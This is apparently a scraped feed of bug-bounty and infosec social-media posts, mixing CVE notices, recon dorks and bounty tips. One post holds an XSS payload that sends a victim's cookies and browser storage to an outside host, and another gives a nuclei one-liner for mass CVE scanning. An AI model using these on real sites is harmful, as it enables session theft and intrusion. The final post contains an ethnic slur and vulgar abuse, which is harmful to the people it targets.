0xPorosh 🇧🇩❤️🇵🇸

Mr.BuL37

[dbugs @ptdbugs]

A PoC/exploit has been discovered for vulnerability CVE-2026-46242

PT ID: PT-2026-45095

Vendor: Linux
Product: Linux kernel
Description:
A race condition in the epoll subsystem allows an unprivileged local user to escalate privileges to root. The issue occurs in the ep remove() function (via ep remove file()), which clears file->f ep under file->f lock but continues to use the @file object within the critical section during hlist del rcu() and spin unlock(). A concurrent fput() can trigger the eventpoll release() fastpath, leading to a Use-After-Free (UAF) condition where the watched struct eventpoll is freed via ep free(), causing subsequent memory corruption. Additionally, because struct file is SLAB TYPESAFE BY RCU, the memory slot could be recycled by alloc empty file(), potentially allowing an attacker to control kmem cache free() against the wrong slab cache.

Link: https://t.co/tK5dSXEyT3

#dbugs_vuln

[Md Akhlakur Rahman Tanvir @artanvir76]

Just published my first write-up about How a Simple Google Dork Earned Me My First $$$ Bounty from
@Bugcrowd 's Own Bug Bounty Program .Hope you will like it.

https://t.co/xvl6P5Qqsb

#BugBounty #BugHunting #infosec #writeup #cybersecurity

[0xPorosh 🇧🇩❤️🇵🇸 @0Porosh]

@lostsec_ Tool Link/Content not found 🥲🥲

[João Gomes (zig_shark) @JoaoGomes12243]

/login?redirectUrl=javascript:fetch('https://t.co/sgFFzZHc4q 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})})

[El Professor @wanahmadqais007]

“Don’t just judge a book by its cover”

Even the payment to is enough even got once. Also consider the “darkside” of it.

“Only if accepted”🫤
750$x3
35000$
~37100$

#BugHunterLife #BugBounty

[0xPorosh 🇧🇩❤️🇵🇸 @0Porosh]

https://t.co/ZfBTTI7bDS

[Mustafa Adam Gamaraldin Abdalla 🇸🇩♥️ @wadgamaraldeen]

My main dork for (The Manual Testing) of the target's subs functionalities for ATO, Business logic, BAC, IDORs and Auth vulnerabilities

("login"|"signup"|"signin"|"register"|"create"|"portal"|"registeration"|"join"|"internal"|"logon") site:*.target.com -www

#bugbountytips

[V.west @Bigmiddy7]

Did a quick SOC lab
Set up Kali (attacker) and Ubuntu (target), established SSH access, and simulated login activity.
Analyzed /var/log/auth.log to identify failed and successful login attempts — understanding how real attacks begin and how logs capture them.
#cybersecurity #SOC

[0xPorosh 🇧🇩❤️🇵🇸 @0Porosh]

https://t.co/EkcOcSg31D

[Dark Web Informer @DarkWebInformer]

‼️ M6Plus Proof of Concept (POC) CVE-2026-4583 (Missing Replay Protection)

The M6PLUS Bluetooth protocol lacks cryptographic authentication mechanisms. The only integrity check is a trivial single-byte XOR checksum, which can be easily recalculated by an attacker.

This allows any Bluetooth device to inject arbitrary transaction commands without the terminal being able to verify the command's origin or authenticity.

[Ambionics Security @ambionics]

🚨 Critical File Upload to RCE in @NinjaForms File Uploads @WordPress plugin (CVE-2026-0740)!

Deep dive & PoC:
👉https://t.co/ZLu5KMsj9D
🔍By @whattheslime from @Ambionics CTEM solution
🛡️Patch available (v3.3.27) — Update now!

#WordPress #RCE #InfoSec #CyberSecurity #CVE

[Coffin @lostsec_]

instead use this way~
cat domains.txt | httpx-toolkit -silent -sc -td | grep -Ei "Next\.js|React"

cat domains.txt | httpx-toolkit -silent -sc -td | grep -Ei "Next\.js|React" | awk '{print $1}' | nuclei -t .local/nuclei-templates/http/cves/2025/CVE-2025-55182.yaml -silent

after this use manual payloads+bypass methods or simply use extension..

[💲𝐂𝐫𝐲𝐩𝐭𝐨𝐠𝐫𝐚𝐩𝐡𝐞𝐫💲 @X_cryptographer]

I was awarded $3,000 Bounty on @Hacker0x01

#BugBountyTip (Race Condition- Time based)
1. emailA+otpA - LoginA
2. emailB+otpB - LoginB
3. emailB+otpA - LoginA

[mrdesoky0 @mrdesoky0]

@xofin904 @rez0__ start with https://t.co/gLxgdgwH9T

[osj @inf0stache]

@InsiderPhD Have you gotten a chance to watch the unprompted talk about Claude finding a 0 day? Would love to hear your thoughts about that.

https://t.co/OAmgNeTC6K

[chiefofautism @chiefofautism]

someone at ANTHROPIC just showed CLAUDE finding ZERO DAY vulnerabilities in a live conference demo

claude has found zero day in Ghost, 50,000 stars on github, never had a critical security vulnerability in its entire, history...

it found the blind SQL injection in 90 minutes, stole the admin api key, then did the exact, same thing to the linux kernel

[Hossam Shady @Hossam__shady]

Spent more than 4 years me and Mr @wadgamaraldeen gathering and preparing full bug bounty methodology that you need to start bug bounty

I think You need to look at it , gathered alot of scenarios that can't be inside courses

Let's Do it

https://t.co/CaQ7eaxeow

#WebSecurity #AppSec #WebAppSecurity #Pentesting #PenTest #RedTeam #Vulnerability #VulnerabilityResearch #ExploitDevelopment #OWASP #OWASPTop10 #XSS #SQLInjection #IDOR #RCE #SSRF #LFI #bugbountytips #bugbounty #SecurityTesting

#BugBounty #CyberSecurity #EthicalHacking #InfoSec #HackerOne #Bugcrowd #SecurityResearch #OWASP

[0xPorosh 🇧🇩❤️🇵🇸 @0Porosh]

https://t.co/ebqOnj6wtG

[Yunus Emre Öztaş @ynsmroztas]

Did you know you can perform SQL injection tests on mobile applications using Ghauri or SQLmap? 🥳🥳🥰🥰 I managed to test potentially critical endpoints by combining both applications.

This way, you won't have to connect to the Android application via proxy or deal with SSL Pinning issues; you can directly subject the application to SQL injection tests.

I'll be sharing a great article and my tools about this soon, so stay tuned! 🌹🥳🥳

#bugbountytip #bugbountytips #infosec #recon #Android

[0xPorosh 🇧🇩❤️🇵🇸 @0Porosh]

@himanshupandya1 @piyush_trades Pajeet Can't Control.... Bkz Bd ppl Put Lund on his a*ss... He cannot Control 😂😂